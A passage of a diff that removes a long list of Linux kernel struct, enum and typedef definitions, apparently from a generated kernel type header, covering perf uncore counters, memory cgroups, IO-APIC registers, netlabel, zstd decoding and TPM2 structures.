HSWEP_PCI_UNCORE_QPI = 3, - HSWEP_PCI_UNCORE_R2PCIE = 4, - HSWEP_PCI_UNCORE_R3QPI = 5, -}; - -enum { - BDX_PCI_UNCORE_HA = 0, - BDX_PCI_UNCORE_IMC = 1, - BDX_PCI_UNCORE_IRP = 2, - BDX_PCI_UNCORE_QPI = 3, - BDX_PCI_UNCORE_R2PCIE = 4, - BDX_PCI_UNCORE_R3QPI = 5, -}; - -enum perf_uncore_iio_freerunning_type_id { - SKX_IIO_MSR_IOCLK = 0, - SKX_IIO_MSR_BW = 1, - SKX_IIO_MSR_UTIL = 2, - SKX_IIO_FREERUNNING_TYPE_MAX = 3, -}; - -enum { - SKX_PCI_UNCORE_IMC = 0, - SKX_PCI_UNCORE_M2M = 1, - SKX_PCI_UNCORE_UPI = 2, - SKX_PCI_UNCORE_M2PCIE = 3, - SKX_PCI_UNCORE_M3UPI = 4, -}; - -enum { - SNR_QAT_PMON_ID = 0, - SNR_CBDMA_DMI_PMON_ID = 1, - SNR_NIS_PMON_ID = 2, - SNR_DLB_PMON_ID = 3, - SNR_PCIE_GEN3_PMON_ID = 4, -}; - -enum perf_uncore_snr_iio_freerunning_type_id { - SNR_IIO_MSR_IOCLK = 0, - SNR_IIO_MSR_BW_IN = 1, - SNR_IIO_FREERUNNING_TYPE_MAX = 2, -}; - -enum { - SNR_PCI_UNCORE_M2M = 0, - SNR_PCI_UNCORE_PCIE3 = 1, -}; - -enum perf_uncore_snr_imc_freerunning_type_id { - SNR_IMC_DCLK = 0, - SNR_IMC_DDR = 1, - SNR_IMC_FREERUNNING_TYPE_MAX = 2, -}; - -enum { - ICX_PCIE1_PMON_ID = 0, - ICX_PCIE2_PMON_ID = 1, - ICX_PCIE3_PMON_ID = 2, - ICX_PCIE4_PMON_ID = 3, - ICX_PCIE5_PMON_ID = 4, - ICX_CBDMA_DMI_PMON_ID = 5, -}; - -enum perf_uncore_icx_iio_freerunning_type_id { - ICX_IIO_MSR_IOCLK = 0, - ICX_IIO_MSR_BW_IN = 1, - ICX_IIO_FREERUNNING_TYPE_MAX = 2, -}; - -enum { - ICX_PCI_UNCORE_M2M = 0, - ICX_PCI_UNCORE_UPI = 1, - ICX_PCI_UNCORE_M3UPI = 2, -}; - -enum perf_uncore_icx_imc_freerunning_type_id { - ICX_IMC_DCLK = 0, - ICX_IMC_DDR = 1, - ICX_IMC_DDRT = 2, - ICX_IMC_FREERUNNING_TYPE_MAX = 3, -}; - -enum perf_uncore_spr_iio_freerunning_type_id { - SPR_IIO_MSR_IOCLK = 0, - SPR_IIO_MSR_BW_IN = 1, - SPR_IIO_MSR_BW_OUT = 2, - SPR_IIO_FREERUNNING_TYPE_MAX = 3, -}; - -enum perf_uncore_spr_imc_freerunning_type_id { - SPR_IMC_DCLK = 0, - SPR_IMC_PQ_CYCLES = 1, - SPR_IMC_FREERUNNING_TYPE_MAX = 2, -}; - -struct modversion_info { - long unsigned int crc; - char name[56]; -}; - -enum mod_license { - NOT_GPL_ONLY = 0, - GPL_ONLY = 1, -}; - -struct find_symbol_arg { - const char *name; - bool gplok; - bool warn; - struct module *owner; - const s32 *crc; - const struct kernel_symbol *sym; - enum mod_license license; -}; - -struct idmap_key { - bool map_up; - u32 id; - u32 count; -}; - -struct bpf_bloom_filter { - struct bpf_map map; - u32 bitset_mask; - u32 hash_seed; - u32 aligned_u32_count; - u32 nr_hash_funcs; - long unsigned int bitset[0]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct bpf_iter__cgroup { - union { - struct bpf_iter_meta *meta; - }; - union { - struct cgroup *cgroup; - }; -}; - -struct cgroup_iter_priv { - struct cgroup_subsys_state *start_css; - bool visited_all; - bool terminate; - int order; -}; - -enum perf_sample_regs_abi { - PERF_SAMPLE_REGS_ABI_NONE = 0, - PERF_SAMPLE_REGS_ABI_32 = 1, - PERF_SAMPLE_REGS_ABI_64 = 2, -}; - -enum perf_event_read_format { - PERF_FORMAT_TOTAL_TIME_ENABLED = 1, - PERF_FORMAT_TOTAL_TIME_RUNNING = 2, - PERF_FORMAT_ID = 4, - PERF_FORMAT_GROUP = 8, - PERF_FORMAT_LOST = 16, - PERF_FORMAT_MAX = 32, -}; - -enum perf_event_ioc_flags { - PERF_IOC_FLAG_GROUP = 1, -}; - -struct perf_ns_link_info { - __u64 dev; - __u64 ino; -}; - -enum { - NET_NS_INDEX = 0, - UTS_NS_INDEX = 1, - IPC_NS_INDEX = 2, - PID_NS_INDEX = 3, - USER_NS_INDEX = 4, - MNT_NS_INDEX = 5, - CGROUP_NS_INDEX = 6, - NR_NAMESPACES = 7, -}; - -struct swevent_hlist { - struct hlist_head heads[256]; - struct callback_head callback_head; -}; - -struct pmu_event_list { - raw_spinlock_t lock; - struct list_head list; -}; - -struct min_heap { - void *data; - int nr; - int size; -}; - -struct min_heap_callbacks { - int elem_size; - bool (*less)(const void *, const void *); - void (*swp)(void *, void *); -}; - -typedef int (*remote_function_f)(void *); - -struct remote_function_call { - struct task_struct *p; - remote_function_f func; - void *info; - int ret; -}; - -typedef void (*event_f)(struct perf_event *, struct perf_cpu_context *, struct perf_event_context *, void *); - -struct event_function_struct { - struct perf_event *event; - event_f func; - void *data; -}; - -enum event_type_t { - EVENT_FLEXIBLE = 1, - EVENT_PINNED = 2, - EVENT_TIME = 4, - EVENT_CPU = 8, - EVENT_ALL = 3, -}; - -struct __group_key { - int cpu; - struct cgroup *cgroup; -}; - -struct stop_event_data { - struct perf_event *event; - unsigned int restart; -}; - -struct perf_read_data { - struct perf_event *event; - bool group; - int ret; -}; - -struct perf_read_event { - struct perf_event_header header; - u32 pid; - u32 tid; -}; - -typedef void perf_iterate_f(struct perf_event *, void *); - -struct remote_output { - struct perf_buffer *rb; - int err; -}; - -struct perf_task_event { - struct task_struct *task; - struct perf_event_context *task_ctx; - struct { - struct perf_event_header header; - u32 pid; - u32 ppid; - u32 tid; - u32 ptid; - u64 time; - } event_id; -}; - -struct perf_comm_event { - struct task_struct *task; - char *comm; - int comm_size; - struct { - struct perf_event_header header; - u32 pid; - u32 tid; - } event_id; -}; - -struct perf_namespaces_event { - struct task_struct *task; - struct { - struct perf_event_header header; - u32 pid; - u32 tid; - u64 nr_namespaces; - struct perf_ns_link_info link_info[7]; - } event_id; -}; - -struct perf_cgroup_event { - char *path; - int path_size; - struct { - struct perf_event_header header; - u64 id; - char path[0]; - } event_id; -}; - -struct perf_mmap_event { - struct vm_area_struct *vma; - const char *file_name; - int file_size; - int maj; - int min; - u64 ino; - u64 ino_generation; - u32 prot; - u32 flags; - u8 build_id[20]; - u32 build_id_size; - struct { - struct perf_event_header header; - u32 pid; - u32 tid; - u64 start; - u64 len; - u64 pgoff; - } event_id; -}; - -struct perf_switch_event { - struct task_struct *task; - struct task_struct *next_prev; - struct { - struct perf_event_header header; - u32 next_prev_pid; - u32 next_prev_tid; - } event_id; -}; - -struct perf_ksymbol_event { - const char *name; - int name_len; - struct { - struct perf_event_header header; - u64 addr; - u32 len; - u16 ksym_type; - u16 flags; - } event_id; -}; - -struct perf_bpf_event { - struct bpf_prog *prog; - struct { - struct perf_event_header header; - u16 type; - u16 flags; - u32 id; - u8 tag[8]; - } event_id; -}; - -struct perf_text_poke_event { - const void *old_bytes; - const void *new_bytes; - size_t pad; - u16 old_len; - u16 new_len; - struct { - struct perf_event_header header; - u64 addr; - } event_id; -}; - -struct swevent_htable { - struct swevent_hlist *swevent_hlist; - struct mutex hlist_mutex; - int hlist_refcount; - int recursion[4]; -}; - -enum perf_probe_config { - PERF_PROBE_CONFIG_IS_RETPROBE = 1, - PERF_UPROBE_REF_CTR_OFFSET_BITS = 32, - PERF_UPROBE_REF_CTR_OFFSET_SHIFT = 32, -}; - -enum { - IF_ACT_NONE = -1, - IF_ACT_FILTER = 0, - IF_ACT_START = 1, - IF_ACT_STOP = 2, - IF_SRC_FILE = 3, - IF_SRC_KERNEL = 4, - IF_SRC_FILEADDR = 5, - IF_SRC_KERNELADDR = 6, -}; - -enum { - IF_STATE_ACTION = 0, - IF_STATE_SOURCE = 1, - IF_STATE_END = 2, -}; - -struct perf_aux_event { - struct perf_event_header header; - u64 hw_id; -}; - -struct perf_aux_event___2 { - struct perf_event_header header; - u32 pid; - u32 tid; -}; - -struct perf_aux_event___3 { - struct perf_event_header header; - u64 offset; - u64 size; - u64 flags; -}; - -struct ip_tunnel_net { - struct net_device *fb_tunnel_dev; - struct rtnl_link_ops *rtnl_link_ops; - struct hlist_head tunnels[128]; - struct ip_tunnel *collect_md_tun; - int type; -}; - -struct netlbl_af4list { - __be32 addr; - __be32 mask; - u32 valid; - struct list_head list; -}; - -struct netlbl_af6list { - struct in6_addr addr; - struct in6_addr mask; - u32 valid; - struct list_head list; -}; - -struct netlbl_domaddr_map { - struct list_head list4; - struct list_head list6; -}; - -struct netlbl_dommap_def { - u32 type; - union { - struct netlbl_domaddr_map *addrsel; - struct cipso_v4_doi *cipso; - struct calipso_doi *calipso; - }; -}; - -struct netlbl_dom_map { - char *domain; - u16 family; - struct netlbl_dommap_def def; - u32 valid; - struct list_head list; - struct callback_head rcu; -}; - -enum { - NLBL_UNLABEL_C_UNSPEC = 0, - NLBL_UNLABEL_C_ACCEPT = 1, - NLBL_UNLABEL_C_LIST = 2, - NLBL_UNLABEL_C_STATICADD = 3, - NLBL_UNLABEL_C_STATICREMOVE = 4, - NLBL_UNLABEL_C_STATICLIST = 5, - NLBL_UNLABEL_C_STATICADDDEF = 6, - NLBL_UNLABEL_C_STATICREMOVEDEF = 7, - NLBL_UNLABEL_C_STATICLISTDEF = 8, - __NLBL_UNLABEL_C_MAX = 9, -}; - -enum { - NLBL_UNLABEL_A_UNSPEC = 0, - NLBL_UNLABEL_A_ACPTFLG = 1, - NLBL_UNLABEL_A_IPV6ADDR = 2, - NLBL_UNLABEL_A_IPV6MASK = 3, - NLBL_UNLABEL_A_IPV4ADDR = 4, - NLBL_UNLABEL_A_IPV4MASK = 5, - NLBL_UNLABEL_A_IFACE = 6, - NLBL_UNLABEL_A_SECCTX = 7, - __NLBL_UNLABEL_A_MAX = 8, -}; - -struct netlbl_unlhsh_tbl { - struct list_head *tbl; - u32 size; -}; - -struct netlbl_unlhsh_addr4 { - u32 secid; - struct netlbl_af4list list; - struct callback_head rcu; -}; - -struct netlbl_unlhsh_addr6 { - u32 secid; - struct netlbl_af6list list; - struct callback_head rcu; -}; - -struct netlbl_unlhsh_iface { - int ifindex; - struct list_head addr4_list; - struct list_head addr6_list; - u32 valid; - struct list_head list; - struct callback_head rcu; -}; - -struct netlbl_unlhsh_walk_arg { - struct netlink_callback *nl_cb; - struct sk_buff *skb; - u32 seq; -}; - -struct uncore_global_discovery { - union { - u64 table1; - struct { - u64 type: 8; - u64 stride: 8; - u64 max_units: 10; - u64 __reserved_1: 36; - u64 access_type: 2; - }; - }; - u64 ctl; - union { - u64 table3; - struct { - u64 status_offset: 8; - u64 num_status: 16; - u64 __reserved_2: 40; - }; - }; -}; - -struct uncore_unit_discovery { - union { - u64 table1; - struct { - u64 num_regs: 8; - u64 ctl_offset: 8; - u64 bit_width: 8; - u64 ctr_offset: 8; - u64 status_offset: 8; - u64 __reserved_1: 22; - u64 access_type: 2; - }; - }; - u64 ctl; - union { - u64 table3; - struct { - u64 box_type: 16; - u64 box_id: 16; - u64 __reserved_2: 32; - }; - }; -}; - -struct intel_uncore_discovery_type { - struct rb_node node; - enum uncore_access_type access_type; - u64 box_ctrl; - u64 *box_ctrl_die; - u16 type; - u8 num_counters; - u8 counter_width; - u8 ctl_offset; - u8 ctr_offset; - u16 num_boxes; - unsigned int *ids; - unsigned int *box_offset; -}; - -struct cpc_reg { - u8 descriptor; - u16 length; - u8 space_id; - u8 bit_width; - u8 bit_offset; - u8 access_width; - u64 address; -} __attribute__((packed)); - -struct mpc_ioapic { - unsigned char type; - unsigned char apicid; - unsigned char apicver; - unsigned char flags; - unsigned int apicaddr; -}; - -struct x86_apic_ops { - unsigned int (*io_apic_read)(unsigned int, unsigned int); - void (*restore)(); -}; - -struct clock_event_device; - -union IO_APIC_reg_00 { - u32 raw; - struct { - u32 __reserved_2: 14; - u32 LTS: 1; - u32 delivery_type: 1; - u32 __reserved_1: 8; - u32 ID: 8; - } bits; -}; - -union IO_APIC_reg_01 { - u32 raw; - struct { - u32 version: 8; - u32 __reserved_2: 7; - u32 PRQ: 1; - u32 entries: 8; - u32 __reserved_1: 8; - } bits; -}; - -union IO_APIC_reg_02 { - u32 raw; - struct { - u32 __reserved_2: 24; - u32 arbitration: 4; - u32 __reserved_1: 4; - } bits; -}; - -union IO_APIC_reg_03 { - u32 raw; - struct { - u32 boot_DT: 1; - u32 __reserved_1: 31; - } bits; -}; - -struct IO_APIC_route_entry { - union { - struct { - u64 vector: 8; - u64 delivery_mode: 3; - u64 dest_mode_logical: 1; - u64 delivery_status: 1; - u64 active_low: 1; - u64 irr: 1; - u64 is_level: 1; - u64 masked: 1; - u64 reserved_0: 15; - u64 reserved_1: 17; - u64 virt_destid_8_14: 7; - u64 destid_0_7: 8; - }; - struct { - u64 ir_shared_0: 8; - u64 ir_zero: 3; - u64 ir_index_15: 1; - u64 ir_shared_1: 5; - u64 ir_reserved_0: 31; - u64 ir_format: 1; - u64 ir_index_0_14: 15; - }; - struct { - u64 w1: 32; - u64 w2: 32; - }; - }; -}; - -struct irq_pin_list { - struct list_head list; - int apic; - int pin; -}; - -struct mp_chip_data { - struct list_head irq_2_pin; - struct IO_APIC_route_entry entry; - bool is_level; - bool active_low; - bool isa_irq; - u32 count; -}; - -struct mp_ioapic_gsi { - u32 gsi_base; - u32 gsi_end; -}; - -struct ioapic { - int nr_registers; - struct IO_APIC_route_entry *saved_registers; - struct mpc_ioapic mp_config; - struct mp_ioapic_gsi gsi_config; - struct ioapic_domain_cfg irqdomain_cfg; - struct irq_domain *irqdomain; - struct resource *iomem_res; -}; - -struct io_apic { - unsigned int index; - unsigned int unused[3]; - unsigned int data; - unsigned int unused2[11]; - unsigned int eoi; -}; - -enum lock_usage_bit { - LOCK_USED_IN_HARDIRQ = 0, - LOCK_USED_IN_HARDIRQ_READ = 1, - LOCK_ENABLED_HARDIRQ = 2, - LOCK_ENABLED_HARDIRQ_READ = 3, - LOCK_USED_IN_SOFTIRQ = 4, - LOCK_USED_IN_SOFTIRQ_READ = 5, - LOCK_ENABLED_SOFTIRQ = 6, - LOCK_ENABLED_SOFTIRQ_READ = 7, - LOCK_USED = 8, - LOCK_USED_READ = 9, - LOCK_USAGE_STATES = 10, -}; - -struct pending_free { - struct list_head zapped; - long unsigned int lock_chains_being_freed[1024]; -}; - -struct delayed_free { - struct callback_head callback_head; - int index; - int scheduled; - struct pending_free pf[2]; -}; - -struct circular_queue { - struct lock_list *element[4096]; - unsigned int front; - unsigned int rear; -}; - -enum bfs_result { - BFS_EINVALIDNODE = -2, - BFS_EQUEUEFULL = -1, - BFS_RMATCH = 0, - BFS_RNOMATCH = 1, -}; - -struct vma_swap_readahead { - short unsigned int win; - short unsigned int offset; - short unsigned int nr_pte; - pte_t *ptes; -}; - -enum writeback_stat_item { - NR_DIRTY_THRESHOLD = 0, - NR_DIRTY_BG_THRESHOLD = 1, - NR_VM_WRITEBACK_STAT_ITEMS = 2, -}; - -enum memcg_stat_item { - MEMCG_SWAP = 43, - MEMCG_SOCK = 44, - MEMCG_PERCPU_B = 45, - MEMCG_VMALLOC = 46, - MEMCG_KMEM = 47, - MEMCG_ZSWAP_B = 48, - MEMCG_ZSWAPPED = 49, - MEMCG_NR_STAT = 50, -}; - -struct mem_cgroup_reclaim_cookie { - pg_data_t *pgdat; - unsigned int generation; -}; - -enum mem_cgroup_events_target { - MEM_CGROUP_TARGET_THRESH = 0, - MEM_CGROUP_TARGET_SOFTLIMIT = 1, - MEM_CGROUP_NTARGETS = 2, -}; - -struct memcg_vmstats { - long int state[50]; - long unsigned int events[15]; - long int state_pending[50]; - long unsigned int events_pending[15]; -}; - -struct memcg_vmstats_percpu { - long int state[50]; - long unsigned int events[15]; - long int state_prev[50]; - long unsigned int events_prev[15]; - long unsigned int nr_page_events; - long unsigned int targets[2]; -}; - -struct mem_cgroup_tree_per_node { - struct rb_root rb_root; - struct rb_node *rb_rightmost; - spinlock_t lock; -}; - -struct mem_cgroup_tree { - struct mem_cgroup_tree_per_node *rb_tree_per_node[64]; -}; - -struct mem_cgroup_eventfd_list { - struct list_head list; - struct eventfd_ctx *eventfd; -}; - -struct mem_cgroup_event { - struct mem_cgroup *memcg; - struct eventfd_ctx *eventfd; - struct list_head list; - int (*register_event)(struct mem_cgroup *, struct eventfd_ctx *, const char *); - void (*unregister_event)(struct mem_cgroup *, struct eventfd_ctx *); - poll_table pt; - wait_queue_head_t *wqh; - wait_queue_entry_t wait; - struct work_struct remove; -}; - -struct move_charge_struct { - spinlock_t lock; - struct mm_struct *mm; - struct mem_cgroup *from; - struct mem_cgroup *to; - long unsigned int flags; - long unsigned int precharge; - long unsigned int moved_charge; - long unsigned int moved_swap; - struct task_struct *moving_task; - wait_queue_head_t waitq; -}; - -enum res_type { - _MEM = 0, - _MEMSWAP = 1, - _KMEM = 2, - _TCP = 3, -}; - -struct memory_stat { - const char *name; - unsigned int idx; -}; - -struct oom_wait_info { - struct mem_cgroup *memcg; - wait_queue_entry_t wait; -}; - -struct memcg_stock_pcp { - local_lock_t stock_lock; - struct mem_cgroup *cached; - unsigned int nr_pages; - struct obj_cgroup *cached_objcg; - struct pglist_data *cached_pgdat; - unsigned int nr_bytes; - int nr_slab_reclaimable_b; - int nr_slab_unreclaimable_b; - struct work_struct work; - long unsigned int flags; -}; - -enum { - RES_USAGE = 0, - RES_LIMIT = 1, - RES_MAX_USAGE = 2, - RES_FAILCNT = 3, - RES_SOFT_LIMIT = 4, -}; - -union mc_target { - struct page *page; - swp_entry_t ent; -}; - -enum mc_target_type { - MC_TARGET_NONE = 0, - MC_TARGET_PAGE = 1, - MC_TARGET_SWAP = 2, - MC_TARGET_DEVICE = 3, -}; - -struct uncharge_gather { - struct mem_cgroup *memcg; - long unsigned int nr_memory; - long unsigned int pgpgout; - long unsigned int nr_kmem; - int nid; -}; - -struct numa_stat { - const char *name; - unsigned int lru_mask; -}; - -struct serport { - struct tty_struct *tty; - wait_queue_head_t wait; - struct serio *serio; - struct serio_device_id id; - spinlock_t lock; - long unsigned int flags; -}; - -struct subsys_interface { - const char *name; - struct bus_type *subsys; - struct list_head node; - int (*add_dev)(struct device *, struct subsys_interface *); - void (*remove_dev)(struct device *, struct subsys_interface *); -}; - -struct privflags_reply_data { - struct ethnl_reply_data base; - const char (*priv_flag_names)[32]; - unsigned int n_priv_flags; - u32 priv_flags; -}; - -struct nf_nat_range2 { - unsigned int flags; - union nf_inet_addr min_addr; - union nf_inet_addr max_addr; - union nf_conntrack_man_proto min_proto; - union nf_conntrack_man_proto max_proto; - union nf_conntrack_man_proto base_proto; -}; - -struct _strp_msg { - struct strp_msg strp; - int accum_len; -}; - -struct tls_msg { - u8 control; -}; - -struct sk_skb_cb { - unsigned char data[20]; - unsigned char pad[4]; - struct _strp_msg strp; - struct tls_msg tls; - u64 temp_reg; -}; - -struct ip6_tnl_parm { - char name[16]; - int link; - __u8 proto; - __u8 encap_limit; - __u8 hop_limit; - __be32 flowinfo; - __u32 flags; - struct in6_addr laddr; - struct in6_addr raddr; -}; - -struct ip6_tnl_net { - struct net_device *fb_tnl_dev; - struct ip6_tnl *tnls_r_l[32]; - struct ip6_tnl *tnls_wc[1]; - struct ip6_tnl **tnls[2]; - struct ip6_tnl *collect_md_tun; -}; - -struct ipv6_tel_txoption { - struct ipv6_txoptions ops; - __u8 dst_opt[8]; -}; - -struct cstate_model { - long unsigned int core_events; - long unsigned int pkg_events; - long unsigned int quirks; -}; - -enum perf_cstate_core_events { - PERF_CSTATE_CORE_C1_RES = 0, - PERF_CSTATE_CORE_C3_RES = 1, - PERF_CSTATE_CORE_C6_RES = 2, - PERF_CSTATE_CORE_C7_RES = 3, - PERF_CSTATE_CORE_EVENT_MAX = 4, -}; - -enum perf_cstate_pkg_events { - PERF_CSTATE_PKG_C2_RES = 0, - PERF_CSTATE_PKG_C3_RES = 1, - PERF_CSTATE_PKG_C6_RES = 2, - PERF_CSTATE_PKG_C7_RES = 3, - PERF_CSTATE_PKG_C8_RES = 4, - PERF_CSTATE_PKG_C9_RES = 5, - PERF_CSTATE_PKG_C10_RES = 6, - PERF_CSTATE_PKG_EVENT_MAX = 7, -}; - -struct __kernel_old_itimerval { - struct __kernel_old_timeval it_interval; - struct __kernel_old_timeval it_value; -}; - -struct cpu_stop_done { - atomic_t nr_todo; - int ret; - struct completion completion; -}; - -struct cpu_stopper { - struct task_struct *thread; - raw_spinlock_t lock; - bool enabled; - struct list_head works; - struct cpu_stop_work stop_work; - long unsigned int caller; - cpu_stop_fn_t fn; -}; - -enum multi_stop_state { - MULTI_STOP_NONE = 0, - MULTI_STOP_PREPARE = 1, - MULTI_STOP_DISABLE_IRQ = 2, - MULTI_STOP_RUN = 3, - MULTI_STOP_EXIT = 4, -}; - -struct multi_stop_data { - cpu_stop_fn_t fn; - void *data; - unsigned int num_threads; - const struct cpumask *active_cpus; - enum multi_stop_state state; - atomic_t thread_ack; -}; - -struct reuseport_array { - struct bpf_map map; - struct sock *ptrs[0]; -}; - -struct ctl_path { - const char *procname; -}; - -struct sysctl_alias { - const char *kernel_param; - const char *sysctl_param; -}; - -struct xxh32_state { - uint32_t total_len_32; - uint32_t large_len; - uint32_t v1; - uint32_t v2; - uint32_t v3; - uint32_t v4; - uint32_t mem32[4]; - uint32_t memsize; -}; - -typedef struct { - size_t bitContainer; - unsigned int bitsConsumed; - const char *ptr; - const char *start; - const char *limitPtr; -} BIT_DStream_t; - -typedef enum { - BIT_DStream_unfinished = 0, - BIT_DStream_endOfBuffer = 1, - BIT_DStream_completed = 2, - BIT_DStream_overflow = 3, -} BIT_DStream_status; - -typedef struct { - BYTE maxTableLog; - BYTE tableType; - BYTE tableLog; - BYTE reserved; -} DTableDesc; - -typedef struct { - BYTE byte; - BYTE nbBits; -} HUF_DEltX1; - -typedef struct { - U32 rankVal[16]; - U32 rankStart[16]; - U32 statsWksp[218]; - BYTE symbols[256]; - BYTE huffWeight[256]; -} HUF_ReadDTableX1_Workspace; - -typedef struct { - U16 sequence; - BYTE nbBits; - BYTE length; -} HUF_DEltX2; - -typedef struct { - BYTE symbol; - BYTE weight; -} sortedSymbol_t; - -typedef U32 rankValCol_t[13]; - -typedef struct { - U32 rankVal[156]; - U32 rankStats[13]; - U32 rankStart0[14]; - sortedSymbol_t sortedSymbol[256]; - BYTE weightList[256]; - U32 calleeWksp[218]; -} HUF_ReadDTableX2_Workspace; - -typedef struct { - U32 tableTime; - U32 decode256Time; -} algo_time_t; - -struct msix_entry { - u32 vector; - u16 entry; -}; - -enum msi_desc_filter { - MSI_DESC_ALL = 0, - MSI_DESC_NOTASSOCIATED = 1, - MSI_DESC_ASSOCIATED = 2, -}; - -struct acpi_namestring_info { - const char *external_name; - const char *next_external_char; - char *internal_name; - u32 length; - u32 num_segments; - u32 num_carats; - u8 fully_qualified; -}; - -struct pnp_fixup { - char id[7]; - void (*quirk_function)(struct pnp_dev *); -}; - -struct aper_size_info_32 { - int size; - int num_entries; - int page_order; - u32 size_value; -}; - -struct ts_state { - unsigned int offset; - char cb[48]; -}; - -struct ts_config; - -struct ts_ops { - const char *name; - struct ts_config * (*init)(const void *, unsigned int, gfp_t, int); - unsigned int (*find)(struct ts_config *, struct ts_state *); - void (*destroy)(struct ts_config *); - void * (*get_pattern)(struct ts_config *); - unsigned int (*get_pattern_len)(struct ts_config *); - struct module *owner; - struct list_head list; -}; - -struct ts_config { - struct ts_ops *ops; - int flags; - unsigned int (*get_next_block)(unsigned int, const u8 **, struct ts_config *, struct ts_state *); - void (*finish)(struct ts_config *, struct ts_state *); -}; - -struct mmpin { - struct user_struct *user; - unsigned int num_pg; -}; - -struct ubuf_info_msgzc { - struct ubuf_info ubuf; - union { - struct { - long unsigned int desc; - void *ctx; - }; - struct { - u32 id; - u16 len; - u16 zerocopy: 1; - u32 bytelen; - }; - }; - struct mmpin mmp; -}; - -struct skb_seq_state { - __u32 lower_offset; - __u32 upper_offset; - __u32 frag_idx; - __u32 stepped_offset; - struct sk_buff *root_skb; - struct sk_buff *cur_skb; - __u8 *frag_data; - __u32 frag_off; -}; - -struct ip_auth_hdr { - __u8 nexthdr; - __u8 hdrlen; - __be16 reserved; - __be32 spi; - __be32 seq_no; - __u8 auth_data[0]; -}; - -struct page_frag_1k { - void *va; - u16 offset; - bool pfmemalloc; -}; - -struct napi_alloc_cache { - struct page_frag_cache page; - struct page_frag_1k page_small; - unsigned int skb_count; - void *skb_cache[64]; -}; - -typedef int (*sendmsg_func)(struct sock *, struct msghdr *, struct kvec *, size_t, size_t); - -typedef int (*sendpage_func)(struct sock *, struct page *, int, size_t, int); - -struct cpu_info_ctx { - struct cpu_signature *cpu_sig; - int err; -}; - -enum sysctl_writes_mode { - SYSCTL_WRITES_LEGACY = -1, - SYSCTL_WRITES_WARN = 0, - SYSCTL_WRITES_STRICT = 1, -}; - -struct do_proc_dointvec_minmax_conv_param { - int *min; - int *max; -}; - -struct do_proc_douintvec_minmax_conv_param { - unsigned int *min; - unsigned int *max; -}; - -struct core_vma_metadata; - -struct coredump_params { - const kernel_siginfo_t *siginfo; - struct pt_regs *regs; - struct file *file; - long unsigned int limit; - long unsigned int mm_flags; - loff_t written; - loff_t pos; - loff_t to_skip; - int vma_count; - size_t vma_data_size; - struct core_vma_metadata *vma_meta; -}; - -struct core_vma_metadata { - long unsigned int start; - long unsigned int end; - long unsigned int flags; - long unsigned int dump_size; - long unsigned int pgoff; - struct file *file; -}; - -struct open_flags { - int open_flag; - umode_t mode; - int acc_mode; - int intent; - int lookup_flags; -}; - -struct user_arg_ptr { - union { - const char * const *native; - } ptr; -}; - -struct inotify_event { - __s32 wd; - __u32 mask; - __u32 cookie; - __u32 len; - char name[0]; -}; - -struct inotify_event_info { - struct fsnotify_event fse; - u32 mask; - int wd; - u32 sync_cookie; - int name_len; - char name[0]; -}; - -struct inotify_inode_mark { - struct fsnotify_mark fsn_mark; - int wd; -}; - -struct pending_reservation { - struct rb_node rb_node; - ext4_lblk_t lclu; -}; - -struct rsvd_count { - int ndelonly; - bool first_do_lblk_found; - ext4_lblk_t first_do_lblk; - ext4_lblk_t last_do_lblk; - struct extent_status *left_es; - bool partial; - ext4_lblk_t lclu; -}; - -enum p9_perm_t { - P9_DMDIR = 2147483648, - P9_DMAPPEND = 1073741824, - P9_DMEXCL = 536870912, - P9_DMMOUNT = 268435456, - P9_DMAUTH = 134217728, - P9_DMTMP = 67108864, - P9_DMSYMLINK = 33554432, - P9_DMLINK = 16777216, - P9_DMDEVICE = 8388608, - P9_DMNAMEDPIPE = 2097152, - P9_DMSOCKET = 1048576, - P9_DMSETUID = 524288, - P9_DMSETGID = 262144, - P9_DMSETVTX = 65536, -}; - -struct p9_rdir { - int head; - int tail; - uint8_t buf[0]; -}; - -typedef struct blkcg_policy_data *blkcg_pol_alloc_cpd_fn(gfp_t); - -typedef void blkcg_pol_init_cpd_fn(struct blkcg_policy_data *); - -typedef void blkcg_pol_free_cpd_fn(struct blkcg_policy_data *); - -typedef void blkcg_pol_bind_cpd_fn(struct blkcg_policy_data *); - -typedef struct blkg_policy_data *blkcg_pol_alloc_pd_fn(gfp_t, struct request_queue *, struct blkcg *); - -typedef void blkcg_pol_init_pd_fn(struct blkg_policy_data *); - -typedef void blkcg_pol_online_pd_fn(struct blkg_policy_data *); - -typedef void blkcg_pol_offline_pd_fn(struct blkg_policy_data *); - -typedef void blkcg_pol_free_pd_fn(struct blkg_policy_data *); - -typedef void blkcg_pol_reset_pd_stats_fn(struct blkg_policy_data *); - -typedef void blkcg_pol_stat_pd_fn(struct blkg_policy_data *, struct seq_file *); - -struct blkcg_policy { - int plid; - struct cftype *dfl_cftypes; - struct cftype *legacy_cftypes; - blkcg_pol_alloc_cpd_fn *cpd_alloc_fn; - blkcg_pol_init_cpd_fn *cpd_init_fn; - blkcg_pol_free_cpd_fn *cpd_free_fn; - blkcg_pol_bind_cpd_fn *cpd_bind_fn; - blkcg_pol_alloc_pd_fn *pd_alloc_fn; - blkcg_pol_init_pd_fn *pd_init_fn; - blkcg_pol_online_pd_fn *pd_online_fn; - blkcg_pol_offline_pd_fn *pd_offline_fn; - blkcg_pol_free_pd_fn *pd_free_fn; - blkcg_pol_reset_pd_stats_fn *pd_reset_stats_fn; - blkcg_pol_stat_pd_fn *pd_stat_fn; -}; - -struct blkg_rwstat { - struct percpu_counter cpu_cnt[5]; - atomic64_t aux_cnt[5]; -}; - -struct blkg_rwstat_sample { - u64 cnt[5]; -}; - -enum tpm2_const { - TPM2_PLATFORM_PCR = 24, - TPM2_PCR_SELECT_MIN = 3, -}; - -enum tpm2_permanent_handles { - TPM2_RS_PW = 1073741833, -}; - -enum tpm2_properties { - TPM_PT_TOTAL_COMMANDS = 297, -}; - -struct tpm2_hash { - unsigned int crypto_id; - unsigned int tpm_id; -}; - -struct tpm2_pcr_read_out { - __be32 update_cnt; - __be32 pcr_selects_cnt; - __be16 hash_alg; - u8 pcr_select_size; - u8 pcr_select[3]; - __be32 digests_cnt; - __be16 digest_size; - u8 digest[0]; -} __attribute__((packed)); - -struct tpm2_null_auth_area { - __be32 handle; - __be16 nonce_size; - u8 attributes; - __be16 auth_size; -} __attribute__((packed)); - -struct tpm2_get_random_out { - __be16 size; - u8 buffer[128]; -}; - -struct tpm2_get_cap_out { - u8 more_data; - __be32 subcap_id; - __be32 property_cnt; - __be32 property_id; - __be32 value; -} 